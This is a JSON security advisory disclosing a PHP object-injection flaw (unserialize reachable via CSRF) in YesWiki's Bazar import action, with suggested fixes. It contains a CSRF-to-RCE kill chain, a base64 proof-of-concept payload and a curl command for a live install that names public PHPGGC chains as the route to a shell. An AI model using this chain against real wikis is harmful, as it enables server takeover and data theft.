{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T21:02:58Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Details\n\n### Sink\n\n`tools/bazar/services/CSVManager.php` line 372-399:\n\n```\npublic function importEntry(array $importedEntries, string $formId): ?array\n{\n    if (!$this-\u003eimportdone) {\n        // ...\n        foreach ($importedEntries as $entry) {\n            $entry = unserialize(base64_decode($entry));   // \u003c-- SINK\n            $entry = array_map(\u0027strval\u0027, $entry);\n            // ...\n```\n\nThere is no `[\u0027allowed_classes\u0027 =\u003e false]` argument; arbitrary classes are instantiated. The subsequent `array_map(\u0027strval\u0027, $entry)` additionally exercises `__toString` on each top-level array element, doubling the magic-method surface available to a gadget chain.\n\n### Source\n\n`tools/bazar/actions/BazarImportAction.php`:\n\n```\n// formatArguments()\n\u0027mode\u0027 =\u003e (isset($_POST[\u0027submit_file\u0027]) \u0026\u0026 !empty($_FILES[\u0027fileimport\u0027][\u0027name\u0027])) ? \u0027submitfile\u0027 :\n    (isset($_POST[\u0027importfiche\u0027]) ? \u0027importentries\u0027 : \u0027default\u0027),\n\u0027importentries\u0027 =\u003e $_POST[\u0027importfiche\u0027] ?? null,\n\n// run()\ncase \u0027importentries\u0027:\n    // ...\n    $importedEntries = $this-\u003eCSVManager-\u003eimportEntry($this-\u003earguments[\u0027importentries\u0027], $vID[\u0027id\u0027]);\n    break;\n```\n\n`$_POST[\u0027importfiche\u0027]` flows directly to the sink. The `mode` switches to `\u0027importentries\u0027` whenever the request body contains the key, so an attacker need only POST `importfiche[0]=\u003cpayload\u003e`.\n\n### Reachability\n\n1. The action is registered as `bazarimport`. The default `BazaR` page (`setup/sql/default-content.sql` -\u003e `BazaR` page entry, ships with `{{bazar showexportbuttons=\"1\"}}`) routes `?BazaR\u0026vue=importer\u0026id_typeannonce=\u003cN\u003e` to `BazarAction::run()` -\u003e `case VOIR_IMPORTER -\u003e callAction(\u0027bazarimport\u0027, ...)` (`tools/bazar/actions/BazarAction.php:257-258`). So the sink is reachable on a default install with no extra page authoring.\n\n2. `BazarImportAction::run()` calls `$this-\u003echeckSecuredACL()` with the default `$adminOnly=true`. Only wiki admins (or accounts the admin has added to the `bazarimport` action ACL) can execute it.\n\n3. The `importentries` branch does NOT invoke `CsrfTokenController::checkToken(...)`. Grepping `tools/bazar/actions/BazarImportAction.php` confirms the action class has no `csrf` or `checkToken` reference at all. This is asymmetric with sibling actions: `tools/bazar/controllers/FormController.php` does call `checkToken(\u0027main\u0027, \u0027POST\u0027, \u0027confirmDeleteToken\u0027)` for destructive operations. The import path skips the same protection.\n\n4. Therefore the full kill chain for a remote attacker is:\n\n   a. Identify any admin user on the target wiki.\n   b. Deliver an HTML page (email, chat, link) that auto-POSTs `importfiche[0]=\u003cbase64-encoded PHPGGC payload\u003e` to `https://\u003cwiki\u003e/?BazaR\u0026vue=importer\u0026id_typeannonce=1`.\n   c. The admin\u0027s session cookie is sent automatically; the action passes `checkSecuredACL`; the unserialize fires.\n\n### Gadget chain availability\n\n`composer.json` requires `doctrine/annotations ^1.11` and `doctrine/cache ^1.10`. Both have published PHPGGC chains (`Doctrine/RCE1`, `Doctrine/FW1`, `Doctrine/FW2`, etc., from https://github.com/ambionics/phpggc). These chains terminate in either `system($cmd)` (RCE1) or `file_put_contents($php_file, $contents)` (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.\n\nThis advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki\u0027s exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.\n\n### Past advisories cross-check\n\nYesWiki\u0027s published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an `unserialize` / PHP-object-injection sink, so this is a novel vulnerability class for the project.\n\n## PoC\n\nA self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled `__destruct` runs without booting the full application.\n\nRun:\n\n```\nphp poc.php\n```\n\nOutput (verbatim):\n\n```\nCrafted importfiche[0] payload (form-ready, urlencoded):\nYToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D\n\n== before importEntry ==\n[Gadget] __destruct fired with marker=\u0027PWNED-FROM-UNSERIALIZE\u0027\nPHP Fatal error:  Uncaught Error: Object of class Gadget could not be converted to string ...\n[Gadget] __destruct fired with marker=\u0027PWNED-FROM-UNSERIALIZE\u0027\n```\n\nThe two `[Gadget] __destruct fired` lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined `Gadget::__destruct` executed -- with the attacker-supplied marker -- inside the unmodified `importEntry` code path.\n\nEnd-to-end against a live YesWiki install:\n\n```\ncurl -i -b \"yeswiki_session=\u003cadmin_cookie\u003e\" \\\n     -X POST \"https://wiki.example.com/?BazaR\u0026vue=importer\u0026id_typeannonce=1\" \\\n     --data-urlencode \\\n     \"importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ==\"\n```\n\n(replace the payload with a real PHPGGC `Doctrine/FW1` or `Doctrine/RCE1` output to obtain RCE on the target host).\n\n## Impact\n\n- Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).\n- An attacker who has already compromised an admin password upgrades from \"wiki content management\" to \"OS shell on the hosting box\".\n- The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify `wakka.config.php`, dump the MySQL database, and pivot from there.\n\n## Suggested fix\n\n1. `tools/bazar/services/CSVManager.php::importEntry` -- pass `[\u0027allowed_classes\u0027 =\u003e false]` to `unserialize`, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (`?api/entries/{formId}` POST in `tools/bazar/presentation/javascripts/bazar-import.js`). The serialized-PHP transport appears to be an unused legacy path.\n2. `tools/bazar/actions/BazarImportAction.php` -- add a `CsrfTokenController::checkToken(\u0027main\u0027, \u0027POST\u0027, \u0027csrf-token\u0027, false)` guard for the `\u0027importentries\u0027` mode (and any other state-changing modes). The existing `tools/bazar/controllers/FormController.php` pattern can be lifted directly.",
  "id": "GHSA-9369-69wj-7m2f",
  "modified": "2026-07-09T21:02:58Z",
  "published": "2026-07-09T21:02:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-9369-69wj-7m2f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/8f70a8d6b8befa0e644d03c785701dbbc55b8fd0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize"
}